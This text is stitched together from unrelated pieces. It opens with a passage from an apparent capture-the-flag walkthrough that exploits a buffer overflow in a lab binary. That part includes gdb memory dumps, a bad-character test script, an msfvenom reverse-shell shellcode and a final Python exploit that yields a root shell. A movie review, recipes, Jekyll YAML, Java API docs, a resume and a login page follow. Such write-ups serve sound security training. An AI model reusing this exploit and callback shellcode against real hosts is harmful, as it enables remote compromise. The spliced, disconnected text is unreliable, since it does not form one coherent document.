AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Running the program in our debugger again, it looks like our eip is full of 'B's now (0x42424242), which is exactly what we wanted.
Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Submitted for review.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax 0xffffcfb4 -12364
ecx 0xf7fa2890 -134600560
edx 0x16 22
ebx 0x0 0
esp 0xffffd060 0xffffd060
ebp 0x41414141 0x41414141
esi 0xf7fa1000 -134606848
edi 0xf7fa1000 -134606848
eip 0x42424242 0x42424242
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Also, checking the eax register, we can see our ABCs are filling the register pretty well, but there is one random 4 bytes (the eax address?) that we didn't write. We can also see that our 'C's had no problem filling up as much space as we want.
(gdb) x/152x $eax
0xffffcfb4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcfc4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcfd4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcfe4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcff4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd004: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd014: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd024: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd034: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd044: 0x41414141 0x41414141 0xffffcfb4 0x41414141
0xffffd054: 0x41414141 0x41414141 0x42424242 0x43434343
0xffffd064: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd074: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd084: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd094: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd0a4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd0b4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd0c4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd0d4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd0e4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd0f4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd104: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd114: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd124: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd134: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd144: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd154: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd164: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd174: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd184: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd194: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd1a4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd1b4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd1c4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd1d4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd1e4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd1f4: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd204: 0x43434343 0x43434343 0x43434343 0x43434343
The next step will be to check to see if there are any bad characters. We need to be able to send a bunch of hex characters to the program, so we won't be able to do that interactively. What I'll do is use netcat to have the program listen on a port on my attacking machine, then use a python script to connect to it and send the bad characters. I'll also need to have my debugger attach to the agent process (after the python script connects) so we can check the registers after the crash. To give me some time to attach the debugger, I'll add a 'sleep' to my python script. Going ahead and setting this script up will be good because we'll use the same process to connect to and overflow the process running on our victim (on TCP port 7788). Here's what the final product looks like.
root@kali:~/Walkthroughs/imf# cat sock-badchars.py
#!/usr/bin/python
import socket
import time
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
# bad chars
# \x00\x0a
buffer = "A"*168 + "B"*4 + badchars
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',7788))
s.recv(1024)
time.sleep(10)
s.send('48093572' + '\n')
s.recv(1024)
s.send('3' + '\n')
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 7788"
You might can see I have '\x00' and '\x0a' identified as bad characters. I didn't even try to send '\x00' (the NULL character), but I was able to determine '\x0a' was a bad character by doing the following...
Start a netcat listener with the agent binary...
root@kali:~/Walkthroughs/imf# nc -ve agent -lp 7788
listening on [any] 7788 ...
Start my python script that sends bad characters...
root@kali:~/Walkthroughs/imf# python sock-badchars.py
Sending evil buffer...
Start my debugger (attached to the agent process)...
root@kali:~/Walkthroughs/imf# gdb -q attach $(pgrep agent) -ex continue
attach: No such file or directory.
Attaching to process 461
Reading symbols from /root/Walkthroughs/imf/agent...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xf7eda079 in __kernel_vsyscall ()
Continuing.
Then I wait a few seconds for my timeout to complete... once it finishes sending the bad characters, I can check the eax register to see if/where any bad characters might have broken things.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $eax
0xfff52ab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52ac4: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52ad4: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52ae4: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52af4: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52b04: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52b14: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52b24: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52b34: 0x41414141 0x41414141 0x41414141 0x41414141
0xfff52b44: 0x41414141 0x41414141 0xfff52ab4 0x41414141
0xfff52b54: 0x41414141 0x41414141 0x42424242 0x04030201
0xfff52b64: 0x08070605 0x09670009 0x383489bb 0x35333930
0xfff52b74: 0xff003237 0x00000003 0x0a048991 0xf7eeb560
0xfff52b84: 0xfff52ba0 0x00000000 0xf7ce8b41 0xf7ea8000
0xfff52b94: 0xf7ea8000 0x00000000 0xf7ce8b41 0x00000001
0xfff52ba4: 0xfff52c34 0xfff52c3c 0xfff52bc4 0x00000001
0xfff52bb4: 0x00000000 0xf7ea8000 0xffffffff 0xf7f04000
0xfff52bc4: 0x00000000 0xf7ea8000 0xf7ea8000 0x00000000
0xfff52bd4: 0xc8a902b7 0xbfe844a7 0x00000000 0x00000000
0xfff52be4: 0x00000000 0x00000001 0x08048500 0x00000000
0xfff52bf4: 0xf7ef06d0 0xf7eeb560 0xf7f04000 0x00000001
0xfff52c04: 0x08048500 0x00000000 0x08048521 0x080485fb
0xfff52c14: 0x00000001 0xfff52c34 0x08048970 0x080489d0
0xfff52c24: 0xf7eeb560 0xfff52c2c 0xf7f04950 0x00000001
0xfff52c34: 0xfff5429e 0x00000000 0xfff542a4 0xfff542b4
Following the values, after our 'B's (0x42424242) you can see \x01-\x09 worked fine, but then \x0a did not make it. Knowing this, we go back to our python script, remove \x0a from our list of bad characters and start the process again. In our case, when we ran the process again and checked the stack, all our other bad characters made it through.
(gdb) x/124x 0xffa5aec4
0xffa5aec4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5aed4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5aee4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5aef4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5af04: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5af14: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5af24: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5af34: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5af44: 0x41414141 0x41414141 0x41414141 0x41414141
0xffa5af54: 0x41414141 0x41414141 0xffa5aec4 0x41414141
0xffa5af64: 0x41414141 0x41414141 0x42424242 0x04030201
0xffa5af74: 0x08070605 0x0d0c0b09 0x11100f0e 0x15141312
0xffa5af84: 0x19181716 0x1d1c1b1a 0x21201f1e 0x25242322
0xffa5af94: 0x29282726 0x2d2c2b2a 0x31302f2e 0x35343332
0xffa5afa4: 0x39383736 0x3d3c3b3a 0x41403f3e 0x45444342
0xffa5afb4: 0x49484746 0x4d4c4b4a 0x51504f4e 0x55545352
0xffa5afc4: 0x59585756 0x5d5c5b5a 0x61605f5e 0x65646362
0xffa5afd4: 0x69686766 0x6d6c6b6a 0x71706f6e 0x75747372
0xffa5afe4: 0x79787776 0x7d7c7b7a 0x81807f7e 0x85848382
0xffa5aff4: 0x89888786 0x8d8c8b8a 0x91908f8e 0x95949392
0xffa5b004: 0x99989796 0x9d9c9b9a 0xa1a09f9e 0xa5a4a3a2
0xffa5b014: 0xa9a8a7a6 0xadacabaa 0xb1b0afae 0xb5b4b3b2
0xffa5b024: 0xb9b8b7b6 0xbdbcbbba 0xc1c0bfbe 0xc5c4c3c2
0xffa5b034: 0xc9c8c7c6 0xcdcccbca 0xd1d0cfce 0xd5d4d3d2
0xffa5b044: 0xd9d8d7d6 0xdddcdbda 0xe1e0dfde 0xe5e4e3e2
0xffa5b054: 0xe9e8e7e6 0xedecebea 0xf1f0efee 0xf5f4f3f2
0xffa5b064: 0xf9f8f7f6 0xfdfcfbfa 0xff00fffe 0xffa5be46
0xffa5b074: 0xffa5be78 0xffa5be8f 0xffa5beaa 0xffa5beb4
0xffa5b084: 0xffa5bebc 0xffa5becf 0xffa5beeb 0xffa5bf0c
0xffa5b094: 0xffa5bf62 0xffa5bf70 0xffa5bfa3 0xffa5bfb7
0xffa5b0a4: 0xffa5bfca 0xffa5bfe4 0x00000000 0x00000020
Now we need to see if our program has a jmp or call to the esp or eax register. If we can jump/call eax, we will put our shell code where the 'A's are. If we can jmp/call esp, we will put our shell code where the 'C's are. We have a lot more room to work with in the esp register, so we'll check that one first.
root@kali:~/Walkthroughs/imf# objdump -D agent | grep -P 'jmp|call' | grep -i esp
root@kali:~/Walkthroughs/imf# objdump -D agent | grep -P 'jmp|call' | grep -i eax
8048563: ff d0 call *%eax
8048e4f: ff 94 00 00 00 00 41 call *0x41000000(%eax,%eax,1)
8048eaf: ff 60 00 jmp *0x0(%eax)
OK. Looks like we have a call to eax at 0x08048563, but none to esp. If we do some hex math on the memory addresses from the start of our eax register to where we hit that random 4 bytes earlier, we have 152 bytes for our shell code. Thankfully our shell code should only be about 90 to 100 bytes, so we should be ok.
We'll use our netcat listener + python script + gdb debugger to test the call command. If this works, we'll be ready to set up our payload.
Here's the script we created to check the 'call eax' command...
root@kali:~/Walkthroughs/imf# cat sock-check-eax.py
#!/usr/bin/python
import socket
import time
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# bad chars
# \x00\x0a
# CALL EAX address = 0x08048563 = \x08\x04\x85\x63
# Because of Little Endian, we need to reverse the address to \x63\x85\x04\x08
call_eax = "\x63\x85\x04\x08"
buffer = "A"*168 + call_eax
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',7788))
s.recv(1024)
time.sleep(10)
s.send('48093572' + '\n')
s.recv(1024)
s.send('3' + '\n')
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 7788"
And here is what we found in the debugger...
Program received signal SIGSEGV, Segmentation fault.
0xffde7e8c in ?? ()
(gdb) x/24x 0xffde7e8c
0xffde7e8c: 0xffde7df4 0x41414141 0x41414141 0x41414141
0xffde7e9c: 0x08048565 0xf7f12300 0x00040000 0x08ce51d0
0xffde7eac: 0x383489bb 0x35333930 0xff003237 0x00000003
0xffde7ebc: 0x0a048991 0xf7f55560 0xffde7ee0 0x00000000
0xffde7ecc: 0xf7d52b41 0xf7f12000 0xf7f12000 0x00000000
0xffde7edc: 0xf7d52b41 0x00000001 0xffde7f74 0xffde7f7c
It looks like our process died when it hit those 4 bytes in the buffer that broke up our 'A's. You can see that after our 'A's we have our eip. Interestingly, it is a few bytes off of what we tried to set it to (0x08048565 vs 0x08048563). Subsequent runs produced similar results. We'll go forward with our exploit, but it might be inconsistent.
We'll generate our linux/x86/shell_reverse_tcp payload using msfvenom, being sure to exclude our bad characters (\x00\x0a).
root@kali:~/Walkthroughs/imf# msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=5434 -a x86 -b '\x00\x0a' -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xba\xb9\xdd\x5d\x4a\xd9\xc1\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x12\x83\xc6\x04\x31\x56\x0e\x03\xef\xd3\xbf\xbf\x3e\x37\xc8"
"\xa3\x13\x84\x64\x4e\x91\x83\x6a\x3e\xf3\x5e\xec\xac\xa2\xd0"
"\xd2\x1f\xd4\x58\x54\x59\xbc\x50\x11\x99\xe2\x0d\x5f\x9a\x0f"
"\xf4\xd6\x7b\x9f\x6e\xb9\x2a\x8c\xdd\x3a\x44\xd3\xef\xbd\x04"
"\x7b\x9e\x92\xdb\x13\x36\xc2\x34\x81\xaf\x95\xa8\x17\x63\x2f"
"\xcf\x27\x88\xe2\x90";
Our payload is 95 bytes, which should be plenty of room for us. Our final, weaponized, python script becomes...
root@kali:~/Walkthroughs/imf# cat sock-remote.py
#!/usr/bin/python
import socket
import time
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# bad chars
# \x00\x0a
# payload = linux/x86/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=5434
# payload = 95 bytes
payload = ("\xbe\x58\x8c\x3a\x4b\xda\xcd\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x12\x83\xeb\xfc\x31\x73\x0e\x03\x2b\x82\xd8\xbe\xfa\x41\xeb"
"\xa2\xaf\x36\x47\x4f\x4d\x30\x86\x3f\x37\x8f\xc9\xd3\xee\xbf"
"\xf5\x1e\x90\x89\x70\x58\xf8\x03\x34\x9a\x26\x7b\x38\x9b\xc3"
"\x46\xb5\x7a\x5b\xd0\x95\x2d\xc8\xae\x15\x47\x0f\x1d\x99\x05"
"\xa7\xf0\xb5\xda\x5f\x65\xe5\x33\xfd\x1c\x70\xa8\x53\x8c\x0b"
"\xce\xe3\x39\xc1\x91");
# nop slide
nop_slide = "\x90" * (168-95)
# CALL EAX address = 0x08048563 = \x08\x04\x85\x63
# Because of Little Endian, we need to reverse the address to \x63\x85\x04\x08
call_eax = "\x63\x85\x04\x08"
buffer = payload + nop_slide + call_eax
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',7788))
s.recv(1024)
time.sleep(10)
s.send('48093572' + '\n')
s.recv(1024)
s.send('3' + '\n')
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 7788"
We'll start our listener in Metasploit and give it a try...
msf5 exploit(multi/handler) > [*] Command shell session 5 opened (<IP_ADDRESS>:5434 -> <IP_ADDRESS>:46694) at 2019-05-05 02:44:02 -0400
msf5 exploit(multi/handler) > sessions 5
[*] Starting interaction with 5...
pwd
/
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
Flag.txt
TheEnd.txt
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}
cat TheEnd.txt
____ _ __ __
/ _/_ _ ___ ___ ___ ___ (_) / / /__
_/ // ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/
__ __/_/ _
/ |/ (_)__ ___ (_)__ ___
/ /|_/ / (_-<(_-</ / _ \/ _ \
/_/__/_/_/___/___/_/\___/_//_/
/ __/__ ___________
/ _// _ \/ __/ __/ -_)
/_/ \___/_/ \__/\__/
Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.
Geckom
Twitter: @g3ck0ma
Email<EMAIL_ADDRESS>Web: http://redteamr.com
Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)
And the final Base64 string in the flag decodes to 'Gh0stProt0c0ls'.
Pivoting
N/A
Clean Up
*** STOP /var/www/html/imfadministrator/uploads/89141121ca4e.jpg ***
*** REMOVE /var/www/html/imfadministrator/uploads/89141121ca4e.jpg ***
Additional Info
gdb-peda
I spent a LOT of time in gdb working through the buffer overflow (due to the inconsistent results and a bad testing set up before just using netcat and sockets). Along the way, I came across gdb-peda, which adds some nice features to gdb (especially for exploit development). After installing gdb-peda (apt-get install gdb-peda), you can enable it by putting the following in your ~/.gdbinit file.
root@kali:~/Walkthroughs/imf# cat ~/.gdbinit
# Source all settings from the peda dir
source /usr/share/gdb-peda/peda.py
# Intel syntax is more readable
set disassembly-flavor intel
# When inspecting large portions of code the scrollbar works better than 'less'
set pagination off
# Keep a history of all the commands typed. Search is possible using ctrl-r
set history save on
set history filename ~/.gdb_history
set history size 32768
set history expansion on
# Don't prompt to confirm quit
define hook-quit
set confirm off
end


I like apples and oranges.
The FDOC regulates the Florida
citrus industry.
The
apple is the pomaceous fruit of the apple tree,
species Malus domestica in the rose family.
My favorite book on fruit is Fruit: Edible, Inedible, Incredible
by Stuppy & Kesseler


--- categories: python, packman date: 2004/02/20 22:34:08 guid: /?p=60 permalink: http://bob.pythonmac.org/archives/2004/02/20/packagemanager-repository-update/ tags: '' title: PackageManager repository update ---
Another update to my OS X 10.3 Package Manager repository
New packages:


Battlefield Earth (2000) No stars out of 4. Starring John Travolta, Barry Pepper, Forest Whitaker, Kim Coates and Richard Tyson. Screenplay by Corey Mandell and JD Shapiro. Based on the novel by L. Ron Hubbard. Directed by Roger Christian.
OK, bear with me now. Here's my theory. "Battlefield Earth" was meant to be "The Producers" of the science fiction genre.
You remember "The Producers," don't you?  They sell about 1,000 percent of the play to various investors because they believe it will close after one night and they can just keep the money.
They hire the worst director and cast the most inept actors. But something goes wrong and the play becomes a hit. Thus Mostel and Wilder go to jail for embezzlement.
So, how does this relate to "Battlefield Earth." Well, John Travolta, who is listed as one of the film's producers, seems to have taken the opposite tact. He hired whom he believed were the best actors - himself included - as well as the strongest writers to adapt L. Ron Hubbard's massive novel and the correct director to helm the opus.
Well "Battlefield Earth" is no "Springtime for Hitler." If only Travolta and company had played "Battlefield Earth" as a send-up, a parody, a satire, anything but a straight, dramatic vehicle. If they had just been able to put their tongues in their cheeks and say, "Come on, folks. We're having a great time kidding around."
Maybe some blooper outtakes during the closing credits. Anything.
Unfortunately, "Battlefield Earth" take itself seriously, way too seriously. And because of that, it is one of the most wretched, embarrassing and clumsy features ever put on celluloid.
It is a movie that makes you cringe and chuckle simultaneously. You sit in disbelief as this lumbering behemoth staggers along. You watch in amazement as Travolta gives the worst performance of his career.
And you wonder: What was he thinking? Could his passion for the novel so overwhelmed his sense of judgment that he would allow himself to be ridiculed in such a manner?
Compared to Travolta, Kevin Costner's turns in "Robin Hood: Prince of Thieves," "Waterworld" and "The Postman" and nearly Shakespearean.
Travolta goes through the film spewing inane dialogue and laughing like a straight-jacketed man in a padded cell. The laugh is neither menacing nor evil, merely obnoxious.
Most every line in "Battlefield Earth" is spoken with an exclamation point. Every plot turn and revelation is punctuated with Elia Cmiral's overwrought music.
There is no point dissing the cast members. Most of them have done fine work in previous films. And every actor is entitled to his "Parnell." (Clark Gable fans will understand the reference.)
The plot is ridiculous, The action - even by s-f standards - beyond belief. Humans, reduced to almost caveman-like existence, teach themselves to fly sophisticated fighter jets in a week. Not to mention the jets and their payload of weapons are in perfect condition after 1,000 years of inattention.
At least give the audience some credit for having brains.
There is really no need to go on. "Battlefield Earth" is a major blunder. It will go down in history with such infamous titles as "Hudson Hawk," "Bonfire of the Vanities" and "Showgirls."
However, to be fair. "Battlefield Earth" can have one positive purpose. It can be used by film schools as a teaching lesson. It can stand as the quintessential example of big moviemaking ineptitude.
Bob Bloom is the film critic at the Journal and Courier in Lafayette, IN. He can be reached by e-mail at<EMAIL_ADDRESS>or at<EMAIL_ADDRESS>Bloom also is an associate member of the Online Film Critics Society. His reviews can be found at the Internet Movie Database Web site: http://www.imdb.com/M/reviews_by?Bob+Bloom
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


For the fig-swirl: Melt butter over medium heat in a saucepan. Add brown sugar and stir to dissolve. Halve all of the figs and toss in the saucepan with water and lemon juice. Cook over medium heat, stirring frequently, until you have a chunky-jammy mixture. Add salt with one or two stirs, set aside and let cool completely.
Ice cream: In a small pot over medium heat, combine milk and ganulated sugar until sugar is completely dissolved and the milk is just barely lukewarm. Whisk in the egg yolks. Set mixture in the fridte and wait until the fig mixture is cooled.
Using an ice cream machine, pour liquids into the frozen basin and process according to manufacturerinstructions, i.e.,let spin and thicken for 20 minutes. Pour semi-frozen mixture into a pyrex dish or glass tupperware. Freeze for for at at least two hours before serving.


--- layout: default title: BlueBag > Menus section_id: menus meals: - image: breakfast_main.jpg name: Breakfast items: - name: Egg in a Cup cooktime: 5 min picture: eggs_in_a_cup.jpg recipe: Crack the eggs and pour contents into a microwave safe mug. Dice ham and spinach to desired size. Combine all ingredients, stir and microwave for 1 min 30 seconds (depending on microwave power)
- name: Eggs with Ham, Cheese, and Spinach cooktime: 20 min picture: eggs_with_ham_and_spinach.jpg recipe: Heat 1 tablespoon of oil in a medium saucepan. Crach two eggs and beat the mixture. Slice the ham and spinace to a desired size. Pour eggs into the pan. Once the bottom of the eggs are cooked, pour in the ham and spinach. Flip the mixture and let cook until solid and dark yellow-golden brown.Check out our wide selection of meals by clicking on the images below
{{ item.cooktime }}
{{ item.recipe }}


Bolt is available as a package for most platforms. See installing bolt
mkdir -p ~/.puppetlabs/bolt/modules/mymodule/tasks
cp myscript.sh ~/.puppetlabs/bolt/modules/mymodule/tasks/
Tasks can be written in any language your targets can run. See writing tasks for more details.
See bolt task run --help
for more information and command line options.


| Interface | Description |
|---|---|
| Event<T> |
Allows the application to fire events of a particular type.
|
| NotificationOptions |
Notification options are used to configure observer notification.
|
| NotificationOptions.Builder |
Notification options builder.
|
| Enum | Description |
|---|---|
| Reception |
Distinguishes conditional observer methods from observer methods which are
always notified.
|
| TransactionPhase |
Distinguishes the various kinds of transactional observer methods from regular
observer methods which are notified immediately.
|
| Exception | Description |
|---|---|
| ObserverException |
Indicates that a checked exception was thrown by an observer method during event notification.
|
| Annotation Type | Description |
|---|---|
| Observes |
Identifies the event parameter of an observer method.
|
| ObservesAsync |
Identifies the event parameter of an asynchronous observer method.
|
Annotations and interfaces relating to events.
Beans may produce and consume events. Events allows beans to interact in a completely decoupled fashion, with no compile-time dependency between the interacting beans. Most importantly, it allows stateful beans in one architectural tier of the application to synchronize their internal state with state changes that occur in a different tier.
Events may be fired synchronously or asynchronously.
An event comprises:
The Event
interface is used to
fire events.
The event object acts as a payload, to propagate state from producer to consumer. An event object is an instance of a concrete Java class with no type variables.
The event types of the event include all superclasses and interfaces of the runtime class of the event object. An event type may not contain a type variable.
The event qualifiers act as topic selectors, allowing the consumer to narrow the set of events it observes. An event qualifier may be an instance of any qualifier type.
An observer method allows the application to receive and respond synchronously to event notifications. And an async observer method allows the application to receive and respond asynchronously to event notifications. they both act as event consumers, observing events of a specific type, with a specific set of qualifiers. Any Java type may be observed by an observer method.
An observer method is a method of a bean class or
extension with a
parameter annotated @Observes
or @ObservesAsync
.
An observer method will be notified of an event if:
If a synchronous observer method is a transactional observer method and there is a JTA transaction in progress when the event is fired, the observer method is notified during the appropriate transaction completion phase. Otherwise, the observer is notified when the event is fired.
The order in which observer methods are called depends on the value of the @Priority applied to the observer.
If no priority is defined on a observer, its priority is jakarta.interceptor.Interceptor.Priority.APPLICATION+500.
If two observer have the same priority their relative order is undefined.
Observer methods may throw exceptions:
CompletionException
that could be handle by the applicationObserverException
.jakarta.enterprise.inject
,
Observes
,
Event
,
Qualifier


Expected Graduation May 2017
Major in Information Systems
Minor in Business Administration
Graduated December 2015
Concentration: Computer Science
Technical Assistant
Revised HTML courses on company website and performed administrative duties.
Manager
Handled management duties for retail clothing store.
Assistant Line Manager
Worked logistics such as retrieval and packaging in warehouse setting.
CompTIA A+ Certification
Java
C++
MySQL
PHP
HTML
CSS
E-mail<EMAIL_ADDRESS>Home:<PHONE_NUMBER>
Mobile:<PHONE_NUMBER>


Graphical Password Authentication System - Forgot Password
Enter your Roll Number and your log in details shall be sent to your registered Email ID
Roll No
*
Send Email
Rohan Pillai (15BIT049) | Shrey Vaghela (15BIT064)